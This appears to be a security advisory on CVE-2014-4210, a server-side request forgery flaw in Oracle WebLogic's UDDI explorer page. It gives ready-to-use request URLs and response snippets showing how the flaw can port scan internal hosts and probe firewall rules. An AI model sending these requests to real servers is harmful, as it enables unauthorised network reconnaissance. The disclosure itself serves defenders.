Oracle WebLogic SSRF And XSS

<p><b>CVE-2014-4210 Server Side Request Forgery in SearchPublicRegistries.jsp</b></p><p>Affected Software: Oracle Fusion Middleware 10.0.2, 10.3.6</p><p>Oracle WebLogic web server is often both (a) externally accessible; and (b) permitted to invoke connections to internal hosts. The SearchPublicRegistries.jsp page can be abused by unauthenticated attackers to cause the WebLogic web server to connect to an arbitrary TCP port of an arbitrary host. Responses returned are fairly verbose and can be used to infer whether a service is listening on the port specified.</p><p>Below is an example request to an internal host which is not listening on TCP port 23:</p><pre>https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://<font color=“red”>10.0.0.4:23</font>&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search</pre><p>Response snippet:</p><pre>weblogic.uddi.client.structures.exception.XML_SoapException: <font color=“red”>Connection refused</font></pre><p>Below is an example request to a host which is listening on TCP port 22:</p><pre>https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://<font color=“red”>10.0.0.4:22</font>&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search</pre><p>Response snippet:</p><pre>weblogic.uddi.client.structures.exception.XML_SoapException: <font color=“red”>Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.</font></pre><p>It is possible to abuse this functionality to discover and port scan any host that the WebLogic server can access. In the event that a discovered service returns a valid SOAP response, it may be possible to view the contents of the response.</p><p>SSRF vulnerabilities offer a world of possibilities – for example, this could be used to scan for services and resources present on the WebLogic server’s loopback interface, to port scan hosts adjacent to the WebLogic server, or to profile outgoing firewall rules (e.g. port scan an external attacker-controlled server to see which outgoing connections are permitted).</p>